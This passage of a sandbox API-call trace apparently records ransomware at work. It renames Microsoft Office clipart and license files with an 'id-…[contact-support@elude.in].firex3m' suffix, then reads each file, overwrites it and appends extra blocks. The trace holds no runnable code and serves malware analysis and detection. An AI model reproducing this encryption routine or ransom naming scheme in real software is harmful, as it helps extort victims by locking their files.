hHeap=0x630000) returned 1 [0133.410] GetProcessHeap () returned 0x630000 [0133.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0133.410] GetProcessHeap () returned 0x630000 [0133.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0133.410] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15770acb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x94c, dwReserved0=0xce07496, dwReserved1=0x697da0, cFileName="AN04108_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0410~1.FIR")) returned 0x6d53c0 [0133.410] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0133.411] Sleep (dwMilliseconds=0x1) [0133.449] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", len=0x44 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 1 [0133.449] GetProcessHeap () returned 0x630000 [0133.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xdc) returned 0x66a3e0 [0133.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.450] CloseHandle (hObject=0x4dc) returned 1 [0133.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0255~1.FIR")) returned 0x6d4ec0 [0133.451] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0133.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.451] GetProcessHeap () returned 0x630000 [0133.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a01) returned 0x6ecce88 [0133.451] GetProcessHeap () returned 0x630000 [0133.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a01) returned 0x707ebd0 [0133.451] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.451] ReadFile (in: hFile=0x4dc, lpBuffer=0x6ecce88, nNumberOfBytesToRead=0x19e0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecce88*, lpNumberOfBytesRead=0x3cfff0c*=0x19e0, lpOverlapped=0x0) returned 1 [0135.590] GetProcessHeap () returned 0x630000 [0135.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0135.590] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.590] WriteFile (in: hFile=0x4dc, lpBuffer=0x707ebd0*, nNumberOfBytesToWrite=0x19e0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x707ebd0*, lpNumberOfBytesWritten=0x3cfff0c*=0x19e0, lpOverlapped=0x0) returned 1 [0135.590] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.590] WriteFile (in: hFile=0x4dc, lpBuffer=0x70805af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70805af*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.590] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.591] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.591] CloseHandle (hObject=0x4dc) returned 1 [0135.592] GetProcessHeap () returned 0x630000 [0135.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707ebd0 | out: hHeap=0x630000) returned 1 [0135.592] GetProcessHeap () returned 0x630000 [0135.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecce88 | out: hHeap=0x630000) returned 1 [0135.592] GetProcessHeap () returned 0x630000 [0135.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0135.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16c4d3c3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a0c, dwReserved0=0xce07496, dwReserved1=0x6ecce80, cFileName="AN02559_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0255~1.FIR")) returned 0x6d5200 [0135.592] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0135.593] Sleep (dwMilliseconds=0x1) [0137.407] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF", len=0x44 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 1 [0137.407] GetProcessHeap () returned 0x630000 [0137.407] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x224) returned 0x670860 [0137.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0137.408] CloseHandle (hObject=0x6b8) returned 1 [0137.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BS0163~1.FIR")) returned 0x6d5340 [0137.409] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0137.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0137.409] GetProcessHeap () returned 0x630000 [0137.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x717d140 [0137.409] GetProcessHeap () returned 0x630000 [0137.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x673b38 [0137.409] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.409] ReadFile (in: hFile=0x6b8, lpBuffer=0x717d140, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x717d140*, lpNumberOfBytesRead=0x3cfff0c*=0x1080, lpOverlapped=0x0) returned 1 [0137.431] GetProcessHeap () returned 0x630000 [0137.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0137.431] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.431] WriteFile (in: hFile=0x6b8, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x3cfff0c*=0x1080, lpOverlapped=0x0) returned 1 [0137.431] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.432] WriteFile (in: hFile=0x6b8, lpBuffer=0x674bb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x674bb7*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.435] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.435] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.435] CloseHandle (hObject=0x6b8) returned 1 [0137.437] GetProcessHeap () returned 0x630000 [0137.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0137.437] GetProcessHeap () returned 0x630000 [0137.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717d140 | out: hHeap=0x630000) returned 1 [0137.437] GetProcessHeap () returned 0x630000 [0137.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0137.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17dd338a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10b0, dwReserved0=0xce07496, dwReserved1=0x717d138, cFileName="BS01639_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BS0163~1.FIR")) returned 0x6d4f00 [0137.437] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0137.437] Sleep (dwMilliseconds=0x1) [0137.440] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", len=0x44 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 1 [0137.440] GetProcessHeap () returned 0x630000 [0137.440] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x220) returned 0x670860 [0137.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0137.441] CloseHandle (hObject=0x6b8) returned 1 [0137.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BS0163~2.FIR")) returned 0x6d5200 [0137.442] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0137.442] GetProcessHeap () returned 0x630000 [0137.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2941) returned 0x6f00a30 [0137.443] GetProcessHeap () returned 0x630000 [0137.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2941) returned 0x7228608 [0137.443] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.443] ReadFile (in: hFile=0x6b8, lpBuffer=0x6f00a30, nNumberOfBytesToRead=0x2920, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f00a30*, lpNumberOfBytesRead=0x3cfff0c*=0x2920, lpOverlapped=0x0) returned 1 [0139.291] GetProcessHeap () returned 0x630000 [0139.291] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0139.291] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.291] WriteFile (in: hFile=0x6b8, lpBuffer=0x7228608*, nNumberOfBytesToWrite=0x2920, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7228608*, lpNumberOfBytesWritten=0x3cfff0c*=0x2920, lpOverlapped=0x0) returned 1 [0139.291] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.291] WriteFile (in: hFile=0x6b8, lpBuffer=0x722af27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x722af27*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.291] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.291] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.292] CloseHandle (hObject=0x6b8) returned 1 [0139.292] GetProcessHeap () returned 0x630000 [0139.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7228608 | out: hHeap=0x630000) returned 1 [0139.292] GetProcessHeap () returned 0x630000 [0139.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f00a30 | out: hHeap=0x630000) returned 1 [0139.292] GetProcessHeap () returned 0x630000 [0139.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0139.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18f8f017, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0xce07496, dwReserved1=0x6f00a28, cFileName="BS01638_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BS0163~2.FIR")) returned 0x6d4ec0 [0139.292] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0139.292] Sleep (dwMilliseconds=0x1) [0140.440] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms", len=0x55 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 1 [0140.440] GetProcessHeap () returned 0x630000 [0140.440] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c3c) returned 0x7203db8 [0140.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0142.612] CloseHandle (hObject=0x710) returned 1 [0142.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4408fb4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOACD8~1.FIR")) returned 0x6d4e40 [0143.843] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0143.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0143.844] GetProcessHeap () returned 0x630000 [0143.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x7220748 [0143.844] GetProcessHeap () returned 0x630000 [0143.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x72234b8 [0143.844] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.844] ReadFile (in: hFile=0x710, lpBuffer=0x7220748, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7220748*, lpNumberOfBytesRead=0x3cfff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0144.554] GetProcessHeap () returned 0x630000 [0144.554] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0144.554] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.554] WriteFile (in: hFile=0x710, lpBuffer=0x72234b8*, nNumberOfBytesToWrite=0x2d40, 